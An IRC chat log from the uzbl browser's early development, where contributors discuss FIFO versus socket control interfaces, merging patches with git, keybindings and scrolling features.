17:09 < anydot> That's really different.
17:10 < rob|> at least it works with your example
17:10 < Dieterbe> anydot: of course. i'm so stupid
17:10 < Dieterbe> i guess whichever solution should just wait till it reads \n
17:10 < rob|> it probably blocks till it reads the first '\n', so that should be safe
17:11 < anydot> well, if it catch this case, and only return line after WHOLE line is successfully read, then there must be some check for !NULL after g_io_channel_read_line. It's nice to depend only on ctl_line[term_pos] ='\0'; for this case.
17:12 < anydot> rob|: In case it block, your implementation is wrong, as it will block uzbl unless newline is read.
17:12 < anydot> Try this: echo -n "" > /tmp/uzbl_ ...
17:12 < anydot> And then press some key.
17:12 < anydot> u/u or something which do some action.
17:13 < anydot> Does it work?
17:13 < rob|> it does block indeed
17:13 < anydot> Then you have bug in your patch. :)
17:13 < anydot> The problem is, that you must read even partial lines.
17:13 < anydot> And reconstruct from that parts lines.
17:14 < rob|> ok, so the read function needs to be more fancy
17:14 < anydot> not readline.
17:14 < rob|> i guess i will just use dzen's approach, same problem there
17:14 < anydot> Use some static string buffer, to which you will append.
17:14 < rob|> or better, had to solve the same issue there
17:14 < anydot> rob|: dzen/dwm solve it now in way you must always supply whole line in one write.
17:15 < anydot> Partial writes are not allowed.
17:15 < anydot> Which is sometimes tricky.
17:15 < anydot> Also, dwm doesn't use stdin anymore.
17:15 < rob|> yeah, i'm talking abut dzen though which allows partial input
17:15 < anydot> And in dwm, there's no reason to use this nonblock variation, you must always wait to end of stdin anyway.
17:16 < anydot> Yep, it imho buffers it.
17:16 < rob|> yes
17:16 < anydot> As I said above, use some static string buffer, to which you will append read block (not lines), and after append, check for any newlines, parse newlines (g_strsplit on newline?) and feed that to parse_command).
17:17 < anydot> And everything after last newline put back to the buffer.
17:18 < rob|> right, will do so. http://dzen.googlecode.com/svn/trunk/main.c  see chomp() and read_stdin(), that was my solution there
17:18 < anydot> Btw, does glib reopen that fifo everytime it catch eof?
17:19 < anydot> ye, something like that, you just can use that fancy glib infrastructure. :)
17:23 < rob|> oh, there should also be a signal handler that catches SIGTERM, etc. and removes the fifo
17:24 < rob|> probably there's a gtk/glib based solution for this
17:25 < Dieterbe> do we really need this? all that code to handle partial writes? is there no glib solution?
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17:26 < dusanx> I wanted to ask the same, when we expect this to happen?
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17:28 < barrucadu> Hi
17:28 < dusanx> Hi barrucadu :)
17:28 < dusanx> barrucadu: have you merged yet?
17:28 < barrucadu> Not today
17:28 < barrucadu> I'll do it in a short while
17:28 < dusanx> I have open in new window working :)
17:36 < Dieterbe> hooray. hooray hooray hooray hooraaaaaaaay
17:36 < Dieterbe> (bloundhound gang style)
17:36 < barrucadu> Merged :)
17:37 < Dieterbe> hooraay for booobies
17:37 < dusanx> Dieterbe: ?
17:38 < Dieterbe> i wanted to say hooray, but then the song "hooray for boobies" went in my head. sorry :)
17:38 < anydot> One of their's best song (and also album). :)
17:39 < dusanx> Dieterbe: what was initial hooray for?
17:39 < Dieterbe> hooray because you got opening to new window working :)
17:39 < anydot> hooray for euphory.
17:39 < dusanx> :P you have no idea how I missed that feature
17:45 < rob|> btw, the current control_fifo implementation is buggy, see http://c-faq.com/stdio/feof.html
17:46 < rob|> i'm refering to the feof check in the nested while loop
17:48 < rob|> hmm, maybe not - though i'd still swap the order of fgets and feof or get rid of feof
17:48 < anydot> It's not buggy, there's just unneeded check on feof(fifo).
17:48 < rob|> yeah
17:50 < anydot> dusanx: So, had you read my patch? :)
17:51 < dusanx> not yet, need to finish work
17:51 < dusanx> think that will be Dieterbe's job after all
17:52 < anydot> ok
17:52 < Dieterbe> yep dusanx patch is on my todo
17:52 < Dieterbe> err anydot 
17:52 < Dieterbe> first sm217, then anydot , then rob| 's patch
17:52 < Dieterbe> oh and while i'm at it, merge in dusanx's stuff too :P
17:53 < dusanx> :P
17:53 < Dieterbe> and when all is tested and merged it will be bedtime again :(
17:53 < dusanx> lol you are release engineer
17:53 < anydot> mrege that sm217, then I will rebase my patch so it will fit HEAD and then you can merge it. :)
17:53 < dusanx> in other words management, no coding for you :P
17:54 < Dieterbe> right
17:54 < anydot> The men with whip under coders heads. :)
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18:27 < barrucadu> Hmm, I think we can remove "* Support for binding keyboard shortcuts in config file." from the TODO file :p
18:28 < anydot> :)
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18:53 < sm217> Helloes.
18:53 < barrucadu> hi
19:04 < Dieterbe> does anyone know what time it is?
19:04 < dusanx> 18:03 your time
19:04 < Dieterbe> no no..
19:04 < Dieterbe> i mean what *time* is it?
19:05 < dusanx> oh lol
19:05 < dusanx> yes
19:05 < dpb> 19:04 your time, isn't it?
19:05 < Dieterbe> it's MERGING TIME ! :D
19:05 < dusanx> merge like there is no tomorrow boss!
19:05 < sm217> :D
19:05 < Dieterbe> right on
19:06 < dusanx> what took you 3 minutes? you should have started merging 3 mintes ago!
19:07 < Dieterbe> the 3 minutes was to boot up my pc :)
19:07 < dusanx> :)
19:10 < jouz> hi there, i'm just tinkering a little, i know you probably don't think that far in this early state, but how do i get the fifo-file of the currently focused instance of uzbl? (like when i open the history_dmenu via shortcut)?
19:11 < anydot> it's in one of parameters.
19:11 < anydot> in $4 to be precisse.
19:12 < jouz> ah ok
19:13 < anydot> Look at the example scripts.
19:15 < jouz> yeah i finally got it :) didn't recognized that the external scripts get executed by the uzbl instance itself :)
19:17 < anydot> :)
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19:20 < jouz> awesome, i find it really "uzbl" already :)
19:23 < jouz> could you guys make scroll-keys configurable? so that i can use vi-style hjkl keys?
19:29  * barrucadu celebrates
19:29 < barrucadu> I seem to have successfully replaced the FIFO with a socket :)
19:29 < sm217> :)
19:29 < dusanx> is it faster?
19:29 < barrucadu> Though I haven't added support for commands to send data back through the socket
19:29 < barrucadu> Not a clue :p
19:30 < sm217> How can one write to it? (/me is a socket noob)
19:30 < barrucadu> There is now an uzblctrl program, invoked as such: uzblctrl -s /path/to/socket -c "command here"
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19:31 < sm217> good
19:31  * barrucadu is informed food is ready
19:34 < dusanx> will be back in few hours
19:36 < rob|> hrrm, what's really confusing is that webkit does not render the page to fit to the window's dimensions
19:56 < Dieterbe> sm217: here?
19:56 < Dieterbe> what should i merge, your master or experimental?
19:57 < Dieterbe> it looks to me like your master is the one?
19:57 < anydot> dusanx: Not everything is about speed.
19:58 < barrucadu> back
19:59 < anydot> dusanx: And imho, speed of external (control) communication is irelevant for browser.
19:59 < anydot> sm217: via socat for example.
19:59 < anydot> barrucadu: Did you used stream or datagram unix socket?
20:00 < barrucadu> stream
20:00 < sm217> Dieterbe: Yes, I worked on master.
20:00 < anydot> Had you treated multiple client case, or clients are queued and processed one by one?
20:00 < Dieterbe> sm217: ok then i merge in your master
20:00 < sm217> :)
20:02 < barrucadu> Clients are queued and processed one by one, I don't expect a uzbl instance would be having commands sent to it so frequently that that would be a problem
20:02 < dusanx> anydot: If we are memory critical I would ask about memory consumption, in our case I am asking about speed
20:03 < anydot> heh, speed yes, but speed of what?
20:03 < barrucadu> I'me just committed it to my github repo, so you can all experiment with it if you want :p
20:03 < anydot> In browser, how fast page will render etc I am interested in.
20:04 < anydot> I really don't care if I can open 100 or 120 urls per second via fifo vs socket.
20:04 < anydot> You see?
20:04 < barrucadu> Yes, rendering speed, we need to see if we can improve that. I've noticed Opera is much faster at rendering pages
20:05 < anydot> This all can be working on wrong place, wasting time.
20:05 < anydot> Of course, fifo is not perfect, as it allow interleaved messages (via partial message), etc.
20:05 < barrucadu> If only Opera 10's Presto engine could be added as a widget to applications...
20:06  * barrucadu sighs wistfully
20:06 < dusanx> we are not critial with rendering speed, non-cashing causes back command to take too long and wheter it is external command or uzbl processing end but commands should be faster
20:06 < anydot> ....
20:06 < dusanx> of course I would welcome any patch that effects rendering speed too :)
20:07 < anydot> dusanx: I'm not against using socket, I only say that doing it because of speed is very foolish reasoning.
20:07 < Dieterbe> aww sm217 , external commands (into fifo seem to work) but i think keybinds are broken
20:08 < dusanx> anydot: I am not skilled in sockets so I don't care what we use. only I am interested in is if it will feel faster
20:08 < Dieterbe> command "/bin/bash ./examples/scripts/load_url_from_history.sh" not understood. ignoring.
20:08 < barrucadu> dusanx: I don't think it's possible for a normal human to feel either is faster :p
20:08 < anydot> dusanx: I'm trying to say you, that user can't recognize difference between unix or fifo based control socket.
20:09 < anydot> I'm fine with unix socket, just don't say you write it because of speed. :)
20:10 < Dieterbe> sm217: ah i think i found it
20:19 < Dieterbe> hey dusanx do you know how the "old" code (eg the code from yesterday etc) worked? in key_press_cb, when you find a matching keybind, you do parse_command (internal_bindings[i].action);, but in parse_command in checks the commands struct (which contains 'back', 'forward,..) to find a match
20:19 < dusanx> ok?
20:19 < Dieterbe> i verified that before i merged sm217's stuff it worked, but frankly i don't know why
20:19 < dusanx> I still have that code, right? Tell me what you need.
20:20 < Dieterbe> but how can there be a match with an entry from commands, "/bin/bash ./examples..." will never match any of "back", "forward" etc ?
20:20 < Dieterbe> yeah everyone has that code.  it's http://github.com/Dieterbe/uzbl/blob/3893863e204466b73939fcbeae1a714679a04aad/uzbl.c
20:21 < dusanx> but I am matching keys and sending commands, what's wrong?
20:21 < dusanx> internal are calling parse_command
20:22 < dusanx> not run_command, that's for externals
20:22 < Dieterbe> OOPS my mistake
20:22 < dusanx> ;)
20:22 < Dieterbe> was looking at internals
20:24 < sm217> oh.
20:25 < sm217> keybinds work for me
20:25 < Dieterbe> internal ones worked, but there was a bug in externals. i fixed it
20:26 < Dieterbe> anydot: i pushed the merged sm217 stuff to my experimental on github
20:26 < Dieterbe> can you rebase your patch?
20:27 < anydot> Yep, but i must now, eafk.
20:27 < anydot> 1-3 hours :)
20:27 < anydot> Dieterbe: What other thing you want to merge?
20:27 < sm217> I read above discussion but still do not understand where was that bug :\
20:28 < anydot> Dieterbe: Merge everythinh other then my patch, and uff I will rebase it atop of this merge. :)
20:28 < Dieterbe> anydot: ok
20:28 < anydot> and btw, that supybot is really broken :)
20:29 < anydot> It is able only to read rss 1/2, but github provides atom feeds :(
20:29 < Dieterbe> sm217: http://github.com/Dieterbe/uzbl/commit/a147fd153338f3a25dc726a7448ca10941d867c6 but don't worry about. your code looks very nice other than that
20:29 < sm217> thanks :)
20:29 < sm217> Oh lol.
20:30 < sm217> That was me, I copied that from internal keybinds
20:30 < sm217> and forgot that bit :P
20:31 < Dieterbe> anydot: i will apply your strok_r patch btw
20:31 < dusanx> sm217: if everything else works that's not something to worry ;)
20:31 < sm217> yes =)
20:31 < anydot> ok
20:32 < sm217> first time my code is accepted to opensource project, whee \o/
20:33 < dusanx> sm217: you changed key handling before I managed to say: if you scratch my functions is's like you scratched me ;) Looks like I will leave you alive :P
20:34 < sm217> :)
20:35 < sm217> uh, again I need to rest. hardly can understand D:
20:37 < sm217> dusanx: can you please point me to where I changed key handling?
20:37 < dusanx> lol sm217 kidding man
20:37 < barrucadu> Hmm, I just noticed changing from FIFO to socket broke it completely :p
20:38 < barrucadu> What's the best way to set a string to contain all null values?
20:38 < sm217> no, really, I do not remember :o
20:38 < sm217> barrucadu: memset?
20:38 < dusanx> sm217: it was really a joke, looking foward to see more contributions from you
20:38 < barrucadu> I'm using that and things aren't quite working, I-
20:38 < barrucadu> Aha!
20:39 < sm217> dusanx: of course :)
20:39 < barrucadu> It works :)
20:39 < barrucadu> I forgot to clear the variable which contains the data received from the socket
20:39 < barrucadu> So things got messed up if you visited somewhere with a longish URL
20:39  * barrucadu commits
20:40 < sm217> hmm
20:41 < sm217> barrucadu: maybe you know, is there a way to specify settings for certain document, for emacs?
20:41 < Dieterbe> anydot: can you verify that the patch is ok http://github.com/Dieterbe/uzbl/commit/37230770db02ed3605277dbcf2513f7b9681b635 ? i had to edit it to apply on the newer code
20:42 < barrucadu> sm217: Not a clue
20:42 < sm217> like "vi: set et ts=4" that is in TODO
20:42 < barrucadu> Actually…
20:42 < barrucadu> I think
20:42 < barrucadu> yes!
20:42 < barrucadu> Have the first line of a file contain "-*- variable variable variable … -*-"
20:42 < sm217> Aha.
20:43 < sm217> thanks
20:43 < sm217> will test now...
20:43 < dusanx> back in an hour
20:45 < Dieterbe> rob|: your patch ( http://pastebin.com/m7a5818a9 ) does not apply. do you think you could rebase your patch? maybe just fork me also on github, it's easier to merge back when code has changed in the meanwhile
20:56 < sm217> eww, emacs doesn't listen to tab width
20:58 < barrucadu> sm217: if you indent the first line of each block manually, pressing tab works for all the lines below that.
20:59 < barrucadu> There is probably a way to make it do that automagically, but I haven't bothered to find it yet
20:59 < barrucadu> In fact, I think I have a setting in my .emacs changing tab width to 2 spaces, if so I'll just change it…
21:00 < sm217> barrucadu: yes, but it does that wrong :P
21:01 < barrucadu> what does it do? <.>
21:02 < sm217> it indents realtive to beginning of line, but leaves same 2-space identation for stuff relative to `while' loop for example
21:02 < barrucadu> Ah
21:03 < sm217> Maybe we just leave that
21:08 < sm217> Time to clean my mind with some fun :V
21:17 < rson_> how goes it
21:20 < Dieterbe> good
21:21 < Dieterbe> many people are writing patches :)
21:21 < barrucadu> I'm just reading this: http://stackoverflow.com/questions/184618?sort=votes&page=6#sort-top
21:21 < barrucadu> Our code needs more funny comments :p
21:26 < Dieterbe> dusanx: when i do "open in a new window" i get uzbl: Fatal IO error 11 (Resource temporarily unavailable) on X server :0.0.
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21:29 < rson_> Dieterbe: sweet.
21:30 < rson_> i'm glad this as seemed to catch on
21:32 < Dieterbe> barrucadu: what's the status on the socket stuff?
21:32 < barrucadu> It works
21:32 < Dieterbe> rson_: it's also a great learning experience for me.  C is really a long time ago for me
21:32 < barrucadu> I fixed the horrible bug
21:33 < Dieterbe> barrucadu: full duplex?
21:33 < barrucadu> Not yet
21:33 < barrucadu> I've been reading funny code comments for the last half hour or so :p
21:33 < barrucadu> I'll do it now
21:33 < Dieterbe> i'm not sure if we should throw out the fifo stuff just like that btw
21:33 < Dieterbe> can't we keep both for a while? then we can test what works best
21:34 < Dieterbe> in the end we may even keep both because you don't need to spawn an extra process to write to a fifo, so it may be faster
21:34 < rson_> Dieterbe: yeah it's been a few years for me as well. which is why i'm hesitant to jump in with anything.  by the time i get a patch written the code will have changed four or five times at the rate you guys are going
21:35 < barrucadu> Ok, so shall I add the FIFO code back in and run two extra threads instead of just one?
21:35 < Dieterbe> well, we do communicate. we divide tasks a bit. so if you find something specific we can keep it in mind
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21:38 < Dieterbe> barrucadu: well, rob| wrote a patch that uses lightweight glib io and throws out the more heavyweight pthreads.  http://pastebin.com/m7a5818a9, I couldn't apply it to the current code but this is what i suggest: i merge in your latest stuff, and after that we can both work on integrating the fifo stuff again, with the method rob| did
21:38 < barrucadu> ok
21:39 < dusanx> Dieterbe: I am back
21:40 < dusanx> Dieterbe: fatal io error does not sound like something I touched?!
21:41 < dusanx> I am using uzbl for the whole day and never got that error, can you try to pinpoint it?
21:41 < Dieterbe> dusanx: it just happened when i clicked on "open in a new window"
21:42 < Dieterbe> barrucadu: before you start putting fifo back in, you probably should merge from me first
21:42 < Dieterbe> barrucadu: because i think i have some updates
21:42 < dusanx> Dieterbe: can you try my latest git without new stuff but with open in new window? I mean take whole uzbl.c from my latest push and try it?
21:42 < Dieterbe> barrucadu: but first i'm resolving conflicts when merging from you
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21:43 < Dieterbe> dusanx: not right now, in 10 min or so
21:43 < barrucadu> Dieterbe: just merged and committed
21:43 < dusanx> I'll be here
21:43 < dusanx> Dieterbe: can you tell me what else you merged before my code?
21:47 < Dieterbe> hmm i think only sm217's stuff, which only affects key bindings
21:49 < dusanx> Dieterbe: checked again, opened 20 new windows on various sites. got to be previous patch or something, nothing I can see here.
21:51 < barrucadu> Dieterbe: I've merged your most recent code, and the problem doesn't occur for me
21:52 < Dieterbe> barrucadu: you committed a merge conflict in uzbl.c
21:52 < Dieterbe> can you fix and repush?
21:52 < Dieterbe> we are almost 100% in sync :)
21:54 < Dieterbe> barrucadu: ?
21:55 < barrucadu> done
21:55 < Dieterbe> thanks
21:56 < Dieterbe> ok 100% in sync now i think
21:56 < Dieterbe> i think i'm gonna look at the x11 error message i get first
21:57 < Dieterbe> have a lookat http://pastebin.com/m7a5818a9, this is supposed to be a great way to get fifo working ;)
21:57 < rson_> so, i'm at work and cant test it out, but how far has the keybinding come?
21:57 < barrucadu> Dieterbe: I'm just sorting something else (unrelated) out so I'll have a look later
21:58 < Dieterbe> ok np mate
21:59 < Dieterbe> barrucadu: just do as you feel like, but i would like to get fifo back at some point :)
22:01 < vti> when i start uzbl without uri and then change states: i -> esc -> i, I keep getting warning '(uzbl:8143): GLib-CRITICAL **: g_string_append: assertion `val != NULL' failed'
22:02 < dusanx> vti: you are right, I will fix that
22:03 < Dieterbe> dusanx: i'm not getting the x resource errors anymore
22:03 < Dieterbe> dusanx: btw, please merge from me again, quite some stuff has been changed again
22:03 < dusanx> ok
22:04 < dusanx> Dieterbe: need me something to change or we consider that everything works?
22:04 < vti> gg and G is a must :)
22:04 < dusanx> Dieterbe: and if we do, what happened
22:07 < Dieterbe> dusanx: i think it works mostly
22:08 < dusanx> if you are talking about js open in new window I know, working on that
22:08 < dusanx> Dieterbe: if anything else is 'mostly' I need examples ;)
22:09 < vti> when clicking on a flash banner (or something) that points you to another url, nothing actually happens
22:09 < dusanx> yup, js and flash calls need more handling
22:09 < Dieterbe> dusanx: does always_insert_mode and modkey work?
22:09 < dusanx> yes
22:10 < dusanx> Dieterbe: I will check if hashtable handling works with keys, function is slightly changed
22:12 < vti> accept-language configuration would be also very nice...
22:12 < dusanx> Dieterbe: I have one line change in git diff, probably spaces. what do I do before merging your code?
22:14 < Dieterbe> dusanx: i don't understand whatyou mean
22:15 < dusanx> Dieterbe: I have saved change and I want to revert it or clean status before I import your data. How?
22:15 < Dieterbe> git checkout <filename> will undo your changes and revert it to the latest "clean" state
22:15 < dusanx> Dieterbe: thanks
22:16 < Dieterbe> barrucadu: okay for you if i put the fifo stuff back?
22:18 < barrucadu> Dieterbe: yes
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22:22 < dusanx> Dieterbe: clean import, looks like it works
22:22 < Dieterbe> import? do you mean merge?
22:22 < dusanx> we lost fifo? old scripts don't work?
22:22 < dusanx> yes merge
22:23 < dusanx> 'I imported merge from you cleanly' if that's better :P
22:23 < barrucadu> dusanx: Dieterbe is putting the fifo back in, as well as the socket
22:24 < dusanx> barrucadu: great. I thought that we will not lose fifo in the process but np
22:29 < Dieterbe> rob|: i'm now in the process of porting your patch to our new code
22:48 < Dieterbe> rob|: i merged fifo support back in (it was removed) and try to include your stuff. it doesn't work yet but i think i'm close
22:48 < Dieterbe> i'm off now, latest code is @ github
22:48 < Dieterbe> experimental branch
22:49 < dusanx> going to sleep, see you all tomorrow :)
22:50 < barrucadu> bye
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23:11 < rob|> Dieterbe: seems you missed the lines that free cmd in parse_commands() from my patch
23:11 < rob|> Dieterbe: i doubt it works the way it is now
23:13 < rob|> oh yeah, the socket stuff should also be handled in the same way
23:20 < anydot> Dieterbe: Yes, it is OK.
23:30 < anydot> Dieterbe: I'm too tired and there's too much of change, so I will rebase it in the morning.
23:30 < anydot> Good night.
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00:42 < Toy-Food> Is there any way to enable a address bar?
00:49 < rob|> sort of, using dmenu
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00:52 < rob|> Toy-Food: echo 'uri '$(echo|dmenu -p 'URI:  ') > /tmp/uzbl_NUMBER
00:54 < rob|> bind that to a key and there it is the address bar
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08:39 < dodobas> yello
08:40 < dodobas> i dont quite understand that 'follow link here' is it implemented?
09:02 < Dieterbe> no, dodobas not yet
09:03 < Dieterbe> rob|> Toy-Food: echo 'uri '$(echo|dmenu -p 'URI:  ') > /tmp/uzbl_NUMBER <-- aren't those bash/ sh semantics ? how could you bind that directly in uzbl, don't you need to put it in a shell script?
09:16 < dodobas> Dieterbe: ah ok
09:17 < Dieterbe> dodobas: in fact, all link following at this point still has to be done with the mouse
09:17 < Dieterbe> but that will change, of course :)
09:19 < jouz> hi there, i'm trying to write a patch for custom scrolling keys/intervals. But i can't figure out in which object the actual scrolling happens... shouldn't it be the GtkScrolledWindow passed to gtk_box_pack_start?
09:21 < Dieterbe> i don't remember from the top of my head, but isn't that what we do? or maybe the gtkwindow inherits from GtkScrolledWindow ?
09:22 < dodobas> Dieterbe: i've noticed :
09:22 < dodobas> :D
09:25 < jouz> the thing is, im calling gtk_scrolled_window_set_vadjustment() on the (GtkScrolledWindow*) object returned by create_browser (made it static), but nothing happens
09:28 < jouz> (never coded in C before though, maybe its just me...)
09:30 < dodobas> hehe, i guess that not being able to write in any of form elements is a feature :D
09:33 < Dieterbe> dodobas: yep it is
09:33 < Dieterbe> dodobas: it's the feature called "command mode vs insert mode" :)
09:35 < rob|2> Dieterbe: re the dmenu thing, sure bind it to a kind with the help of the WM or xbinfkeys is what i meant :)
09:35 < rob|2> *s/kind/key/
09:35 -!- rob|2 is now known as rob|
09:35 < Dieterbe> rob|2: are you implying wm's/xbindkeys automatically run the command through a shell?
09:36 < rob|> no i just say, put that line into a file, make it executable and bind it to a key
09:37 < dodobas> oh man, im so stupid :D
09:37 < Dieterbe> ok, i thought maybe you knew a way to automatically use shell/shell-like syntax directly from a key binding program (wm,xbindkeys,..)
09:37 < dodobas> im going to go out stand in the rain with my mouth open
09:38 < Dieterbe> dodobas: don't worry, you not the first to have this :P maybe we should make it more clear for beginners
09:38 < rob|> Dieterbe: erm, fork?
09:38 < rob|> and execv*
09:39 < Dieterbe> rob|: that's just a means to execute a new process/replace current process
09:39 < Dieterbe> what does that have to do with interpreting shell semanticts..
09:39 < dodobas> or i could write some doc about it...
09:41 < rob|> Dieterbe: well, you execute a shell and let it interpret the expressin for you
09:41 < Dieterbe> rob|: yeah sure.. but do WM's/xbindkeys do that by default?
09:42 < rob|> i really don't get what you're trying to ask.
09:42 < rob|> why should they do that?
09:43 < Dieterbe> to make it easier for the user, so you could use sh syntax directly into xbindkeys config file
09:44 < Dieterbe> with uzbl i want to avoid that btw, and only call a shell when really needed (eg let user decide)
09:44 < Dieterbe> though it seems like g_spawn_command_line_async uses some built-in sh parsing inside glib
09:44 < rob|> no, i'm not aware of any tools doing it that way. sure, start the sheöll only for shell scripts
09:46 < rob|> hmm, i don't think that that functions does any shell style parsing
09:47 < Dieterbe> yes look http://library.gnome.org/devel/glib/stable/glib-Spawning-Processes.html#g-spawn-command-line-async
09:48 < Dieterbe> which uses http://library.gnome.org/devel/glib/stable/glib-Shell-related-Utilities.html#g-shell-parse-argv
09:48 < rob|> ah, right g_shell_parse_argv seems to do some expansion, though just based argument splitting
09:48 < rob|> *basic
09:50 < Dieterbe> k.  well I know that g-spawn-command-line-async is supposed to recognize scripts automatically (eg you can do h = ./scriptname.sh without putting /bin/bash in front of it)
09:50 < Dieterbe> but i still have to test that
09:50 < rob|> oh, btw in the process of merging the io_watch patch you forgot to include a free() statement, i wonder how uzbl would work the way it is now
09:50 < Dieterbe> and i want to know how it works.. maybe it internally checks if the file is plaintext, and if so, looks for a shebang line
09:51 < Dieterbe> rob|: i didn't forget, i saw it, but the variable you were freeing did not exist anymore, so i just let that part out for now
09:51 < rob|> i don't think that it works on files, and the shebang thing is not done by that function
09:51 < Dieterbe> well dusanx says he can bind the scripts directly without prepending /bin/shellnmame, i want to know how it works :)
09:52 < rob|> hmm, i freed "cmd" in "parse_commands()", seems to still exist
09:53 < Dieterbe> in that case, my mistake i guess
09:53 < rob|> we should agree to a more consistent argument passing interface
09:53 < Dieterbe> oh btw i forgot to give you credit in the commit. sorry about that. but if you patch this, I can commit using your email address :)
09:54 < rob|> and which functions take malloced and which ones static memory
09:54 < Dieterbe> (or you can fork on github, and if i merge your stuff, the commits get your name automatically)
09:54 < rob|> had some problems switching branches
09:56 < rob|> "git checkout experimental" is what the docs say, thiugh i'm not sure how to actually rtreive the file contents of that branch
09:56 < rob|> -m and friends didn't work as advertised
09:56 < Dieterbe> rob|: when you clone the repo, you get _everything_ on your disk. when you check out a new branch you don't need to pull anything from any server
09:57 < rob|> ok, but switching the branch as described above didn't refelct that change in the source files
09:57 < rob|> do i need to merge something?
09:58 < Dieterbe> well i don't know what your current code base is, if you want to keep it, or basically start over
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09:58 < dusanx> 'morning :)
09:59 < rob|> doesn't matter, i just want to know how to switch branches in a newly cloned repo - i really new to git,so forgive my ignorance
09:59 < Dieterbe> hi dodobas 
09:59 < Dieterbe> err hi dusanx i mean
09:59 < Dieterbe> rob|: just git branch <name>
09:59 < dodobas> Dieterbe: and what if someone wants to run, idont know Lua script, im aware of shebang in scripts but what is so wrong with prepending
10:00 < Dieterbe> #!/usr/bin/lua ?
10:00 < rob|> Dieterbe: hmm, will try again.
10:00 < dodobas> yes im aware of that
10:00 < Dieterbe> dodobas: not saying it's wrong, but it could be cleaner
10:00 < dusanx> what did I miss? :D
10:01 < dodobas> Dieterbe: ok, just wanted to clarify thah
10:03 < Dieterbe> dusanx: a lot :)
10:04 < dusanx> thats great! (and bad for me to catch up)
10:05 < dusanx> is there any irssi log so I can see conversation while I was out?
10:05 < rob|> hmm, i'm sure i'm missing something, though cloning a repo like dexribed on the get page and then just doing 'git branch experimental' does not reflect any changes to the source files
10:07 < Dieterbe> rob|: wel, at some points master == experimental, i merge the latter into the former about each day.
10:08 < rob|> doesn't seem to be the case right now, though
10:08 < rob|> i.e. i don't see the socket code and neither the uzblctrl.c file
10:08 < Dieterbe> do a git pull
10:08 < Dieterbe> it doesn't update itself ;)
10:10 < rob|> right, that was my question
10:10 < rob|> let me check this
10:15 < dusanx> Dieterbe: you merged anything else since I merged from you last night?
10:16 < sm217> dusanx: maybe I can help, though wasn't here very long too
10:16 < dusanx> sm217: appreciated
10:16 < sm217> should I pastebin or upload?
10:17 < Dieterbe> dusanx: i coded a bit myself :) and maybe i did merge more stuff i don't remember. the github logs and graphs are your friend :)
10:17 < dusanx> Dieterbe: ok, thanks
10:19 < sm217> dusanx: http://scalar.cluenet.org/~sm217/%23uzbl.04-30.log
10:19 < sm217> oh
10:19 < sm217> wait  second
10:19 < Dieterbe> maybe dev_null also keeps log? (it's a bot)
10:20 < sm217> dusanx: http://scalar.cluenet.org/~sm217/uzbl.04-30.log
10:20 < dpb> god I hate public logs for irc channels..
10:21 < sm217> it's not public :P
10:21 < dpb> sure it is, anyone can access it <.<
10:21 < sm217> Link is only here, and I don't think anyone ever visits my acc's webspace.
10:22 < sm217> I can remove it after dusanx has it, if you wish.
10:22 < Dieterbe> dpb: i think irc logs are quite useful
10:22  * sm217 agrees
10:22 < Dieterbe> it's not like we're throwing our private life in the open, just technical discussions
10:22 < dusanx> sm217: thanks
10:23 < dpb> Sometimes private life tends to come up in irc.
10:23 < sm217> dusanx: np. you have it, so removing...
10:23 < dodobas> dpb: why? everything you write on public channel its public...
10:23 < dpb> sure, but I don't want a google search to find them <.<
10:24 < dusanx> so, what do you all think about britney's new song? No, this is tech talk
10:24 < dpb> britney still lives? <.<
10:24 < Dieterbe> uh oh.. this is not going to end good
10:24 -!- Irssi: #uzbl: Total of 22 nicks [0 ops, 0 halfops, 0 voices, 22 normal]
10:24 < sm217> :P
10:24 < dpb> :D
10:25 < rob|> brr, stupid branch stuff
10:25 < dusanx> rob|: since I was new to git two days ago maybe I can help?
10:25 < Dieterbe> rob|: have a look at github.com/guides, they have really good guides
10:26 < dusanx> rob|: I was cursing damn software all the time, it's not so bad actually
10:26 < rob|> dusanx: well, all i want is to switch to the experimental branch and have that relected in the source
10:26 < rob|> *reflected
10:26 < dusanx> on your PC, right?
10:26 < rob|> yes
10:27 < dusanx> what does 'git branch' say?
10:27 < rob|> experimental now
10:27 < dusanx> but nothing there?
10:27 < dusanx> I mean no latest sources?
10:28 < rob|> no, just the things from master
10:28 < dusanx> where from you want to pull sources?
10:28 < sm217> hmm, maybe check with git log
10:28 < dusanx> your pc or github?
10:28 < rob|> my pc
10:29 < dusanx> Dieterbe: does 'git merge master' does what rob| wants?
10:30 < rob|> hmm, it doesn't
10:30  * sm217 thinks no
10:30 < Dieterbe> git fetch, git pull
10:30 < dusanx> git pull master? wild guess, I use only master
10:30 < dpb> err, what do you want to do?
10:30 < dusanx> and 7z whole master when I want to keep it lol
10:31 < sm217> rob|: git pull git://github.com/Dieterbe/uzbl.git experimental should give you Dieterbe's experimetal.
10:32 < rob|> sm217: ah, thanks a lot this works indeed
10:32 < sm217> good :)
10:32 < rob|> that should probably go somewhere to the site for such ignorants as me ;)
10:33 < rob|> saves up people willing to actually code from reading through tons of git docs
10:33 < sm217> why tons D:
10:33 < sm217> I only read http://github.com/guides/git-cheat-sheet
10:34 < dusanx> it was very frustrating for git newbee like me, believe me
10:34 < sm217> I am a git newbie too :D
10:35 < dusanx> young brain bends easier ;)
10:35 < Dieterbe> :)
10:35 < sm217> well I used it for another project, but I only did pushing, as I coded myself
10:36  * sm217 runs away
10:36 < dodobas> i've never felt comfortable with git, thouh i did not use it very much, currently im exploring mercurial(hg)
10:37 < Dieterbe> git can be a bitch.. once you start to feel comfortable it suddenly starts doing very weird things and it's hard to find out a simple explanation about those things
10:38 < Dieterbe> but with a bit of luck you can do with it what you want to do :P
10:38 < dodobas> but i mostly use subversion
10:39 < dodobas> what are the ideas for page scrolling, jumping?
10:39 < Dieterbe> vim-like ?
10:41 < dusanx> should be easy thing to do, converting vim scroll key to normal scroll key and passing as unprocessed further (in theory)
10:41 < dodobas> or standard pgUp pgDown, with status bar notification of % of page, instead of the scroll bar
10:42 < Dieterbe> yes the scrollbar should go definitely.  (is it still there?)
10:42 < dusanx> hmm, never needed scrollbars, why do you need them?
10:42 < Dieterbe> dusanx: we both said they should be gone :)
10:42 < Dieterbe> they are already gone btw, you almost tricked me dodobas . naughty naughty
10:42 < dusanx> they are gone long time ago, that's what confused me
10:43 < Dieterbe> and yes we should have a % display (if the page does not fit entirely)
10:43 < dodobas> Dieterbe: tricked you?
10:43 < Dieterbe> dodobas: yes, tricked me into believing we still had a scroll bar :)
10:43 < dodobas> ahhaaaa :D
10:44 < dodobas> mind clouds easly, even on a sunny day :D
11:01 < dusanx> anybody has any experience how to code page caching? if not I will see what I can do.
